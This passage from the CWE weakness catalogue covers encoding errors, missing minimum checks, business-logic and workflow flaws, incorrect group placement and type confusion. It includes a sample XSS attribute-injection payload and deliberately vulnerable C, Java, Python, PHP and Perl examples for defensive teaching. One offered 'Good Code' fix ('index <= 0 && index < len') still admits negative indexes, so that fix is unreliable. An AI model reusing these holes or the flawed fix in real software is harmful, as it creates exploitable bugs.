The programmer attempts to avoid XSS exploits (CWE-79) by encoding the POST values so they will not be interpreted as valid HTML. However, the `htmlentities()` encoding is not appropriate when the data are used as HTML attributes, allowing more attributes to be injected.

For example, an attacker can set `picAltText` to:

Attack

```
"altTextHere' onload='alert(document.cookie)"
```

This will result in the generated HTML image tag:

**HTML Example:**

Result

```
<img src='pic.jpg' alt='altTextHere' onload='alert(document.cookie)' />
```

The attacker can inject arbitrary javascript into the tag due to this incorrect encoding.

**Observed Examples**

Reference	Description
CVE-2009-2814	Server does not properly handle requests that do not contain UTF-8 data; browser assumes UTF-8, allowing XSS.

**Potential Mitigations****Implementation****Output Encoding**

Use context-aware encoding. That is, understand which encoding is being used by the downstream component, and ensure that this encoding is used. If an encoding can be specified, do so, instead of assuming that the default encoding is the same as the default being assumed by the downstream component.

**Architecture and Design****Output Encoding**

Where possible, use communications protocols or data formats that provide strict boundaries between control and data. If this is not feasible, ensure that the protocols or formats allow the communicating components to explicitly state which encoding/decoding method is being used. Some template frameworks provide built-in support.

**Architecture and Design****Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using the ESAPI Encoding control [R.838.7] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Note that some template mechanisms provide built-in support for the appropriate encoding.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		116	Improper Encoding or Escaping of Output	699 1000	217
ChildOf		845	CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)	844	1291
ChildOf		867	2011 Top 25 - Weaknesses On the Cusp	900	1310
MemberOf		884	CWE Cross-section	884	1319

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	IDS12-J	Perform lossless conversion of String data between differing character encodings
CERT Java Secure Coding	IDS13-J	Use compatible encodings on both sides of file or network IO

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
468	Generic Cross-Browser Cross-Domain Theft	

## References

- Jim Manico. "Injection-safe templating languages". 2010-06-30. < [http://manicode.blogspot.com/2010/06/injection-safe-templating-languages\\_30.html](http://manicode.blogspot.com/2010/06/injection-safe-templating-languages_30.html) >.
- Dinis Cruz. "Can we please stop saying that XSS is boring and easy to fix!". 2010-09-25. < <http://diniscruz.blogspot.com/2010/09/can-we-please-stop-saying-that-xss-is.html> >.
- Ivan Ristic. "Canoe: XSS prevention via context-aware output encoding". 2010-09-24. < <http://blog.ivanristic.com/2010/09/introducing-canoe-context-aware-output-encoding-for-xss-prevention.html> >.
- Jim Manico. "What is the Future of Automated XSS Defense Tools?". 2011-03-08. < <http://software-security.sans.org/downloads/appsec-2011-files/manico-appsec-future-tools.pdf> >.
- [REF-15] Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager and Seth Fogie. "XSS Attacks". Preventing XSS Attacks. Syngress. 2007.
- [REF-20] OWASP. "DOM based XSS Prevention Cheat Sheet". < [http://www.owasp.org/index.php/DOM\\_based\\_XSS\\_Prevention\\_Cheat\\_Sheet](http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet) >.
- [REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

# CWE-839: Numeric Range Comparison Without Minimum Check

**Weakness ID:** 839 (*Weakness Base*)

**Status:** Incomplete

## Description

### Summary

The program checks a value to ensure that it does not exceed a maximum, but it does not verify that the value exceeds the minimum.

### Extended Description

Some programs use signed integers or floats even when their values are only expected to be positive or 0. An input validation check might assume that the value is positive, and only check for the maximum value. If the value is negative, but the code assumes that the value is positive, this can produce an error. The error may have security consequences if the negative value is used for memory allocation, array access, buffer access, etc. Ultimately, the error could lead to a buffer overflow or other type of memory corruption.

The use of a negative number in a positive-only context could have security implications for other types of resources. For example, a shopping cart might check that the user is not requesting more than 10 items, but a request for -3 items could cause the application to calculate a negative price and credit the attacker's account.

## Alternate Terms

### Signed comparison

The "signed comparison" term is often used to describe when the program uses a signed variable and checks it to ensure that it is less than a maximum value (typically a maximum buffer size), but does not verify that it is greater than 0.

## Applicable Platforms

### Languages

- C (*Often*)
- C++ (*Often*)

## Common Consequences

### Integrity

### Confidentiality

### Availability

### Modify application data

### Execute unauthorized code or commands

An attacker could modify the structure of the message or data being sent to the downstream component, possibly injecting commands.

**Availability****DoS: resource consumption (other)**

in some contexts, a negative value could lead to resource consumption.

**Confidentiality****Integrity****Modify memory****Read memory**

If a negative value is used to access memory, buffers, or other indexable structures, it could access memory outside the bounds of the buffer.

**Demonstrative Examples****Example 1:**

The following code is intended to read an incoming packet from a socket and extract one or more headers.

**C Example:***Bad Code*

```
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader));
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size\_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

**Example 2:**

The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

**C Example:***Bad Code*

```
int GetUntrustedInt () {
    return(0x0000FFFF);
}
void main (int argc, char **argv) {
    char path[256];
    char *input;
    int i;
    short s;
    unsigned int sz;
    i = GetUntrustedInt();
    s = i;
    /* s is -1 so it passes the safety check - CWE-697 */
    if (s > 256) {
        DiePainfully("go away!\n");
    }
    /* s is sign-extended and saved in sz */
    sz = s;
    /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
```

```

printf("i=%d, s=%d, sz=%u\n", i, s, sz);
input = GetUserInput("Enter pathname:");
/* strncpy interprets s as unsigned int, so it's treated as MAX_INT
(CWE-195), enabling buffer overflow (CWE-119) */
strncpy(path, input, s);
path[255] = '\0'; /* don't want CWE-170 */
printf("Path is: %s\n", path);
}

```

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

### Example 3:

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

#### C Example:

*Bad Code*

```

int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }
    // if array index is invalid then output error message
    // and return value indicating error
    else {
        printf("Value is: %d\n", array[index]);
        value = -1;
    }
    return value;
}

```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

#### C Example:

*Good Code*

```

...
// check that the array index is within the correct
// range of values for the array
if (index <= 0 && index < len) {
...

```

### Example 4:

The following code shows a simple BankAccount class with deposit and withdraw methods.

#### Java Example:

*Bad Code*

```

public class BankAccount {
    public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;
    // variable for bank account balance
    private double accountBalance;
    // constructor for BankAccount
    public BankAccount() {
        accountBalance = 0;
    }
    // method to deposit amount into BankAccount
    public void deposit(double depositAmount) {...}
    // method to withdraw amount from BankAccount
    public void withdraw(double withdrawAmount) {
        if (withdrawAmount < MAXIMUM_WITHDRAWAL_LIMIT) {

```

```

    double newBalance = accountBalance - withdrawAmount;
    accountBalance = newBalance;
}
else {
    System.err.println("Withdrawal amount exceeds the maximum limit allowed, please try again...");
    ...
}
}
// other methods for accessing the BankAccount object
...
}

```

The withdraw method includes a check to ensure that the withdrawal amount does not exceed the maximum limit allowed, however the method does not check to ensure that the withdrawal amount is greater than a minimum value (CWE-129). Performing a range check on a value that does not include a minimum check can have significant security implications, in this case not including a minimum range check can allow a negative value to be used which would cause the financial application using this class to deposit money into the user account rather than withdrawing. In this example the if statement should be modified to include a minimum range check, as shown below.

#### Java Example:

*Good Code*

```

public class BankAccount {
    public final int MINIMUM_WITHDRAWAL_LIMIT = 0;
    public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;
    ...
    // method to withdraw amount from BankAccount
    public void withdraw(double withdrawAmount) {
        if (withdrawAmount < MAXIMUM_WITHDRAWAL_LIMIT &&
            withdrawAmount > MINIMUM_WITHDRAWAL_LIMIT) {
            ...
        }
    }
}

```

Note that this example does not protect against concurrent access to the BankAccount balance variable, see CWE-413 and CWE-362.

While it is out of scope for this example, note that the use of doubles or floats in financial calculations may be subject to certain kinds of attacks where attackers use rounding errors to steal money.

#### Observed Examples

Reference	Description
CVE-2008-4558	chain: negative ID in media player bypasses check for maximum index, then used as an array index for buffer under-read.
CVE-2008-6393	chain: file transfer client performs signed comparison, leading to integer overflow and heap-based buffer overflow.
CVE-2009-1099	Chain: 16-bit counter can be interpreted as a negative value, compared to a 32-bit maximum value, leading to buffer under-write.
CVE-2009-3080	Chain: negative offset value to IOCTL bypasses check for maximum index, then used as an array index for buffer under-read.
CVE-2010-1866	Chain: integer overflow causes a negative signed value, which later bypasses a maximum-only check, leading to heap-based buffer overflow.
CVE-2010-2530	Chain: Negative value stored in an int bypasses a size check and causes allocation of large amounts of memory.
CVE-2010-3704	Chain: parser uses atoi() but does not check for a negative value, which can happen on some platforms, leading to buffer under-write.
CVE-2011-0521	Chain: kernel's lack of a check for a negative value leads to memory corruption.

#### Potential Mitigations

##### Implementation

##### Enforcement by Conversion

If the number to be used is always expected to be positive, change the variable type from signed to unsigned or size\_t.

### Implementation Input Validation

If the number to be used could have a negative value based on the specification (thus requiring a signed value), but the number should only be positive to preserve code correctness, then include a check to ensure that the value is positive.

#### Relationships

Nature	Type	ID	Name	V	Page
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	1000	226
CanPrecede		124	Buffer Underwrite ('Buffer Underflow')	1000	250
ChildOf		187	Partial Comparison	<b>1000</b>	357
ChildOf		189	Numeric Errors	<b>699</b>	360
CanPrecede		195	Signed to Unsigned Conversion Error	1000	377
CanPrecede		682	Incorrect Calculation	1000	1060
MemberOf		884	CWE Cross-section	<b>884</b>	1319

#### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Type Conversion Vulnerabilities" Page 246.. 1st Edition. Addison Wesley. 2006.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Comparisons", Page 265.. 1st Edition. Addison Wesley. 2006.

## CWE-840: Business Logic Errors

Category ID: 840 (Category) Status: Incomplete

#### Description

##### Summary

Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application.

##### Extended Description

Errors in business logic can be devastating to an entire application. They can be difficult to find automatically, since they typically involve legitimate use of the application's functionality. However, many business logic errors can exhibit patterns that are similar to well-understood implementation and design weaknesses.

#### Observed Examples

Reference	Description
CVE-2010-4624	Bulletin board applies restrictions on number of images during post creation, but does not enforce this on editing.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		438	Behavioral Problems	<b>699</b>	752
ParentOf		200	Information Exposure	699	384
ParentOf		282	Improper Ownership Management	699	497
ParentOf		285	Improper Authorization	699	501
ParentOf		288	Authentication Bypass Using an Alternate Path or Channel	699	512
ParentOf		408	Incorrect Behavior Order: Early Amplification	699	707
ParentOf		596	Incorrect Semantic Object Comparison	699	938
ParentOf		639	Authorization Bypass Through User-Controlled Key	699	988
ParentOf		640	Weak Password Recovery Mechanism for Forgotten Password	699	989
ParentOf		666	Operation on Resource in Wrong Phase of Lifetime	<b>699</b>	1031
ParentOf		696	Incorrect Behavior Order	<b>699</b>	1077
ParentOf		732	Incorrect Permission Assignment for Critical Resource	699	1121



Nature	Type	ID	Name	V	Page
ParentOf	C	754	Improper Check for Unusual or Exceptional Conditions	699	1143
ParentOf	B	770	Allocation of Resources Without Limits or Throttling	699	1175
ParentOf	C	799	Improper Control of Interaction Frequency	699	1225
ParentOf	B	841	Improper Enforcement of Behavioral Workflow	699	1284

### Research Gaps

The classification of business logic flaws has been under-studied, although exploitation of business logic flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications. There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles.

Many business logic flaws appear to be oriented toward business processes, application flows, and sequences of behaviors, which are not as well-represented in CWE as weaknesses related to input validation, memory management, etc.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
WASC	42	Abuse of Functionality

### References

- Jeremiah Grossman. "Business Logic Flaws and Yahoo Games". 2006-12-08. October 2007. < <http://jeremiahgrossman.blogspot.com/2006/12/business-logic-flaws.html> >.
- Jeremiah Grossman. "Seven Business Logic Flaws That Put Your Website At Risk". October 2007. < [http://www.whitehatsec.com/home/assets/WP\\_bizlogic092407.pdf](http://www.whitehatsec.com/home/assets/WP_bizlogic092407.pdf) >.
- WhiteHat Security. "Business Logic Flaws". < [http://www.whitehatsec.com/home/solutions/BL\\_auction.html](http://www.whitehatsec.com/home/solutions/BL_auction.html) >.
- WASC. "Abuse of Functionality". < <http://projects.webappsec.org/w/page/13246913/Abuse-of-Functionality> >.
- Rafal Los and Prajakta Jagdale. "Defying Logic: Theory, Design, and Implementation of Complex Systems for Testing Application Logic". 2011. < <http://www.slideshare.net/RafalLos/defying-logic-business-logic-testing-with-automation> >.
- Rafal Los. "Real-Life Example of a 'Business Logic Defect' (Screen Shots!)". 2011. < <http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581> >.
- Viktoria Felmetzger, Ludovico Cavedon, Christopher Kruegel and Giovanni Vigna. "Toward Automated Detection of Logic Vulnerabilities in Web Applications". USENIX Security Symposium 2010. August 2010. < [http://www.usenix.org/events/sec10/tech/full\\_papers/Felmetzger.pdf](http://www.usenix.org/events/sec10/tech/full_papers/Felmetzger.pdf) >.
- Faisal Nabi. "Designing a Framework Method for Secure Business Application Logic Integrity in e-Commerce Systems". pages 29 - 41. International Journal of Network Security, Vol.12, No.1. 2011. < <http://ijns.femto.com.tw/contents/ijns-v12-n1/ijns-2011-v12-n1-p29-41.pdf> >.

## CWE-841: Improper Enforcement of Behavioral Workflow

Weakness ID: 841 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software supports a session in which more than one behavior must be performed by an actor, but it does not properly ensure that the actor performs the behaviors in the required sequence.

#### Extended Description

By performing actions in an unexpected order, or by omitting steps, an attacker could manipulate the business logic of the software or cause it to enter an invalid state. In some cases, this can also expose resultant weaknesses.

For example, a file-sharing protocol might require that an actor perform separate steps to provide a username, then a password, before being able to transfer files. If the file-sharing server accepts a password command followed by a transfer command, without any username being provided, the software might still perform the transfer.



Note that this is different than CWE-696, which focuses on when the software performs actions in the wrong sequence; this entry is closely related, but it is focused on ensuring that the actor performs actions in the correct sequence.

Workflow-related behaviors include:

- Steps are performed in the expected order.
- Required steps are not omitted.
- Steps are not interrupted.
- Steps are performed in a timely fashion.

### Common Consequences

#### Other

##### Alter execution logic

An attacker could cause the software to skip critical steps or perform them in the wrong order, bypassing its intended business logic. This can sometimes have security implications.

### Demonstrative Examples

This code is part of an FTP server and deals with various commands that could be sent by a user. It is intended that a user must successfully login before performing any other action such as retrieving or listing files.

#### Python Example:

*Bad Code*

```
def dispatchCommand(command, user, args):
    if command == 'Login':
        loginUser(args)
        return
    # user has requested a file
    if command == 'Retrieve_file':
        if authenticated(user) and ownsFile(user,args):
            sendFile(args)
            return
    if command == 'List_files':
        listFiles(args)
        return
    ...
```

The server correctly does not send files to a user that isn't logged in and doesn't own the file. However, the server will incorrectly list the files in any directory without confirming the command came from an authenticated user, and that the user is authorized to see the directory's contents. Here is a fixed version of the above example:

#### Python Example:

*Good Code*

```
def dispatchCommand(command, user, args):
    ...
    if command == 'List_files':
        if authenticated(user) and ownsDirectory(user,args):
            listFiles(args)
            return
    ...
```

### Observed Examples

Reference	Description
CVE-2003-0777	Chain: product does not properly handle dropped connections, leading to missing NULL terminator (CWE-170) and segmentation fault.
CVE-2004-0829	Chain: File server crashes when sent a "find next" request without an initial "find first."
CVE-2004-2164	Shopping cart does not close a database connection when user restores a previous order, leading to connection exhaustion.
CVE-2005-3296	FTP server allows remote attackers to list arbitrary directories as root by running the LIST command before logging in.
CVE-2005-3327	Chain: Authentication bypass by skipping the first startup step as required by the protocol.
CVE-2007-3012	Attacker can access portions of a restricted page by canceling out of a dialog.
CVE-2009-5056	Ticket-tracking system does not enforce a permission setting.
CVE-2010-2620	FTP server allows remote attackers to bypass authentication by sending (1) LIST, (2) RETR, (3) STOR, or other commands without performing the required login steps first.

Reference	Description
CVE-2011-0348	Bypass of access/billing restrictions by sending traffic to an unrestricted destination before sending to a restricted destination.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	438	Behavioral Problems	699	752
ChildOf	G	691	Insufficient Control Flow Management	1000	1072
ChildOf	C	840	Business Logic Errors	699	1283
ChildOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1310
MemberOf	V	884	CWE Cross-section	884	1319

### Research Gaps

This weakness is typically associated with business logic flaws, except when it produces resultant weaknesses.

The classification of business logic flaws has been under-studied, although exploitation of business logic flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications. There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles.

Many business logic flaws appear to be oriented toward business processes, application flows, and sequences of behaviors, which are not as well-represented in CWE as weaknesses related to input validation, memory management, etc.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
WASC	40	Insufficient Process Validation

### References

- Jeremiah Grossman. "Business Logic Flaws and Yahoo Games". 2006-12-08. October 2007. < <http://jeremiahgrossman.blogspot.com/2006/12/business-logic-flaws.html> >.
- Jeremiah Grossman. "Seven Business Logic Flaws That Put Your Website At Risk". October 2007. < [http://www.whitehatsec.com/home/assets/WP\\_bizlogic092407.pdf](http://www.whitehatsec.com/home/assets/WP_bizlogic092407.pdf) >.
- WhiteHat Security. "Business Logic Flaws". < [http://www.whitehatsec.com/home/solutions/BL\\_auction.html](http://www.whitehatsec.com/home/solutions/BL_auction.html) >.
- WASC. "Insufficient Process Validation". < <http://projects.webappsec.org/w/page/13246943/Insufficient-Process-Validation> >.
- Rafal Los and Prajakta Jagdale. "Defying Logic: Theory, Design, and Implementation of Complex Systems for Testing Application Logic". 2011. < <http://www.slideshare.net/RafalLos/defying-logic-business-logic-testing-with-automation> >.
- Rafal Los. "Real-Life Example of a 'Business Logic Defect' (Screen Shots!)". 2011. < <http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581> >.
- Viktoria Felmetsger, Ludovico Cavedon, Christopher Kruegel and Giovanni Vigna. "Toward Automated Detection of Logic Vulnerabilities in Web Applications". USENIX Security Symposium 2010. August 2010. < [http://www.usenix.org/events/sec10/tech/full\\_papers/Felmetsger.pdf](http://www.usenix.org/events/sec10/tech/full_papers/Felmetsger.pdf) >.
- Faisal Nabi. "Designing a Framework Method for Secure Business Application Logic Integrity in e-Commerce Systems". pages 29 - 41. International Journal of Network Security, Vol.12, No.1. 2011. < <http://ijns.femto.com.tw/contents/ijns-v12-n1/ijns-2011-v12-n1-p29-41.pdf> >.

## CWE-842: Placement of User into Incorrect Group

Weakness ID: 842 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software or the administrator places a user into an incorrect group.

#### Extended Description

If the incorrect group has more access or privileges than the intended group, the user might be able to bypass intended security policy to access unexpected resources or perform unexpected actions. The access-control system might not be able to detect malicious usage of this group membership.

#### Time of Introduction

- Implementation
- Operation

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Access Control

Gain privileges / assume identity

#### Observed Examples

Reference	Description
CVE-1999-1193	Operating system assigns user to privileged wheel group, allowing the user to gain root privileges.
CVE-2002-0080	Chain: daemon does not properly clear groups before dropping privileges.
CVE-2007-3260	Product assigns members to the root group, allowing escalation of privileges.
CVE-2007-6644	CMS does not prevent remote administrators from promoting other users to the administrator group, in violation of the intended security model.
CVE-2008-5397	Chain: improper processing of configuration options causes users to contain unintended group memberships.
CVE-2010-3716	Chain: drafted web request allows the creation of users with arbitrary group membership.

#### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		286	Incorrect User Management	699	507
				1000	

## CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')

Weakness ID: 843 (*Weakness Base*)

Status: Incomplete

#### Description

##### Summary

The program allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

##### Extended Description

When the program accesses the resource using an incompatible type, this could trigger logical errors because the resource does not have expected properties. In languages without memory safety, such as C and C++, type confusion can lead to out-of-bounds memory access.

While this weakness is frequently associated with unions when parsing data with many different embedded object types in C, it can be present in any application that can interpret the same variable or memory location in multiple ways.

This weakness is not unique to C and C++. For example, errors in PHP applications can be triggered by providing array parameters when scalars are expected, or vice versa. Languages such as Perl, which perform automatic conversion of a variable of one type when it is accessed as if it were another type, can also contain these issues.

#### Alternate Terms

##### Object Type Confusion

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- C
- C++
- Language-independent
- Type-unsafe Languages

### Demonstrative Examples

#### Example 1:

The following code uses a union to support the representation of different types of messages. It formats messages differently, depending on their type.

#### C Example:

*Bad Code*

```
#define NAME_TYPE 1
#define ID_TYPE 2
struct MessageBuffer
{
    int msgType;
    union {
        char *name;
        int nameID;
    };
};
int main (int argc, char **argv) {
    struct MessageBuffer buf;
    char *defaultMessage = "Hello World";
    buf.msgType = NAME_TYPE;
    buf.name = defaultMessage;
    printf("Pointer of buf.name is %p\n", buf.name);
    /* This particular value for nameID is used to make the code architecture-independent. If coming from untrusted input, it
    could be any value. */
    buf.nameID = (int)(defaultMessage + 1);
    printf("Pointer of buf.name is now %p\n", buf.name);
    if (buf.msgType == NAME_TYPE) {
        printf("Message: %s\n", buf.name);
    }
    else {
        printf("Message: Use ID %d\n", buf.nameID);
    }
}
```

The code intends to process the message as a NAME\_TYPE, and sets the default message to "Hello World." However, since both buf.name and buf.nameID are part of the same union, they can act as aliases for the same memory location, depending on memory layout after compilation. As a result, modification of buf.nameID - an int - can effectively modify the pointer that is stored in buf.name - a string.

Execution of the program might generate output such as:

```
Pointer of name is 10830
Pointer of name is now 10831
Message: ello World
```

Notice how the pointer for buf.name was changed, even though buf.name was not explicitly modified.

In this case, the first "H" character of the message is omitted. However, if an attacker is able to fully control the value of buf.nameID, then buf.name could contain an arbitrary pointer, leading to out-of-bounds reads or writes.

#### Example 2:

The following PHP code accepts a value, adds 5, and prints the sum.

#### PHP Example:

*Bad Code*

```
$value = $_GET['value'];
$sum = $value + 5;
echo "value parameter is '$value'<p>";
echo "SUM is $sum";
```

When called with the following query string:

value=123  
 the program calculates the sum and prints out:  
 SUM is 128  
 However, the attacker could supply a query string such as:  
 value[]=123

The "[]" array syntax causes \$value to be treated as an array type, which then generates a fatal error when calculating \$sum:

Fatal error: Unsupported operand types in program.php on line 2

### Example 3:

The following Perl code is intended to look up the privileges for user ID's between 0 and 3, by performing an access of the \$UserPrivilegeArray reference. It is expected that only userID 3 is an admin (since this is listed in the third element of the array).

#### Perl Example:

*Bad Code*

```
my $UserPrivilegeArray = ["user", "user", "admin", "user"];
my $userID = get_current_user_ID();
if ($UserPrivilegeArray eq "user") {
    print "Regular user!\n";
}
else {
    print "Admin!\n";
}
print "\$UserPrivilegeArray = $UserPrivilegeArray\n";
```

In this case, the programmer intended to use "\$UserPrivilegeArray->{\$userID}" to access the proper position in the array. But because the subscript was omitted, the "user" string was compared to the scalar representation of the \$UserPrivilegeArray reference, which might be of the form "ARRAY(0x229e8)" or similar.



Since the logic also "fails open" (CWE-636), the result of this bug is that all users are assigned administrator privileges.

While this is a forced example, it demonstrates how type confusion can have security consequences, even in memory-safe languages.

### Observed Examples

Reference	Description
CVE-2010-0258	Improperly-parsed file containing records of different types leads to code execution when a memory location is interpreted as a different object than intended.
CVE-2010-4577	Type confusion in CSS sequence leads to out-of-bounds read.
CVE-2011-0611	Size inconsistency allows code execution, first discovered when it was actively exploited in-the-wild.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	1000	226
ChildOf		704	Incorrect Type Conversion or Cast	699 1000	1104

### Research Gaps

Type confusion weaknesses have received some attention by applied researchers and major software vendors for C and C++ code. Some publicly-reported vulnerabilities probably have type confusion as a root-cause weakness, but these may be described as "memory corruption" instead. This weakness seems likely to gain prominence in upcoming years.

For other languages, there are very few public reports of type confusion weaknesses. These are probably under-studied. Since many programs rely directly or indirectly on loose typing, a potential "type confusion" behavior might be intentional, possibly requiring more manual analysis.

### References

Mark Dowd, Ryan Smith and David Dewey. "Attacking Interoperability". "Type Confusion Vulnerabilities," page 59. 2009. < [http://www.azimuthsecurity.com/resources/bh2009\\_dowd\\_smith\\_dewey.pdf](http://www.azimuthsecurity.com/resources/bh2009_dowd_smith_dewey.pdf) >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Type Confusion", Page 319.. 1st Edition. Addison Wesley. 2006.

## CWE-844: Weaknesses Addressed by the CERT Java Secure Coding Standard

View ID: 844 (View: Graph)

Status: Incomplete

### Objective

CWE entries in this view (graph) are fully or partially eliminated by following the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this view is incomplete.

### View Data

#### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>124</b>	out of	1003
<b>Views</b>	0	out of	32
<b>Categories</b>	18	out of	244
<b>Weaknesses</b>	105	out of	719
<b>Compound_Elements</b>	1	out of	8

### View Audience

#### Developers

By following the CERT Java Secure Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

#### Software Customers

If a software developer claims to be following the CERT Java Secure Coding standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

#### Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
HasMember	<b>C</b>	845	CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)	<b>844</b>	1291
HasMember	<b>C</b>	846	CERT Java Secure Coding Section 01 - Declarations and Initialization (DCL)	<b>844</b>	1291
HasMember	<b>C</b>	847	CERT Java Secure Coding Section 02 - Expressions (EXP)	<b>844</b>	1292
HasMember	<b>C</b>	848	CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM)	<b>844</b>	1292
HasMember	<b>C</b>	849	CERT Java Secure Coding Section 04 - Object Orientation (OBJ)	<b>844</b>	1293
HasMember	<b>C</b>	850	CERT Java Secure Coding Section 05 - Methods (MET)	<b>844</b>	1293
HasMember	<b>C</b>	851	CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)	<b>844</b>	1294
HasMember	<b>C</b>	852	CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)	<b>844</b>	1294
HasMember	<b>C</b>	853	CERT Java Secure Coding Section 08 - Locking (LCK)	<b>844</b>	1295
HasMember	<b>C</b>	854	CERT Java Secure Coding Section 09 - Thread APIs (THI)	<b>844</b>	1295
HasMember	<b>C</b>	855	CERT Java Secure Coding Section 10 - Thread Pools (TPS)	<b>844</b>	1295



Nature	Type	ID	Name	V	Page
HasMember	C	856	CERT Java Secure Coding Section 11 - Thread-Safety Miscellaneous (TSM)	844	1296
HasMember	C	857	CERT Java Secure Coding Section 12 - Input Output (FIO)	844	1296
HasMember	C	858	CERT Java Secure Coding Section 13 - Serialization (SER)	844	1297
HasMember	C	859	CERT Java Secure Coding Section 14 - Platform Security (SEC)	844	1297
HasMember	C	860	CERT Java Secure Coding Section 15 - Runtime Environment (ENV)	844	1298
HasMember	C	861	CERT Java Secure Coding Section 49 - Miscellaneous (MSC)	844	1298

### Relationship Notes

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

### References

"The CERT Oracle Secure Coding Standard for Java". < <https://www.securecoding.cert.org/confluence/display/java/The+CERT+Oracle+Secure+Coding+Standard+for+Java> >.

## CWE-845: CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)

Category ID: 845 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the Input Validation and Data Sanitization section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	844	121
ParentOf	C	116	Improper Encoding or Escaping of Output	844	217
ParentOf	B	134	Uncontrolled Format String	844	277
ParentOf	V	144	Improper Neutralization of Line Delimiters	844	293
